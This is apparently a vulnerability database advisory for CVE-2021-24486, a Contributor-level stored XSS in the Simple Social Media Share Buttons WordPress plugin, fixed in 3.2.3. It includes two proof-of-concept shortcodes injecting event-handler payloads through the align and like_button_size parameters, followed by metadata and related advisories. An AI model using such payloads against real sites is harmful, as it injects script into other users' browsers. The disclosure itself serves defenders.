Simple Social Media Share Buttons < 3.2.3 – Contributor+ Stored XSS | CVE 2021-24486 | Plugin Vulnerabilities

Description

The plugin did not escape the align and like_button_size parameters of its SSB shortcode, which could allow users with a role as low as Contributor to perform Stored Cross-Site Scripting attacks.

Proof of Concept

[SSB align='" onmouseover="alert(/align/)//' like_button_size='4" onmouseover="alert(/like_button_size/)//']

[SSB align='" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(origin)//' like_button_size='4" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(origin)//']

Affects Plugins

simple-social-buttons

Fixed in 3.2.3

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

apple502j

Submitter

apple502j

Verified

Yes

WPVDB ID

324e6b7b-a2ac-4c08-8b97-0967513f7328

Timeline

Publicly Published

2021-07-26 (about 4 years ago)

Added

2021-07-26 (about 4 years ago)

Last Updated

2022-02-24 (about 3 years ago)

Other

Published

Title

Published

2014-08-01

Title

I Love It - VideoJS Cross-Site Scripting

Published

2022-10-28

Title

Slideshow SE < 2.5.6 - Author+ Stored XSS

Published

2015-05-03

Title

WeeklyNews Premium Theme < 2.2.9 - Cross-Site Scripting (XSS)

Published

2014-08-01

Title

allure-real-estate-theme-for-real-estate <= 0.1.1 - XSS in ZeroClipboard.swf

Published

2025-08-05

Title

Flex Guten < 1.2.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via thumbnailHoverEffect Parameter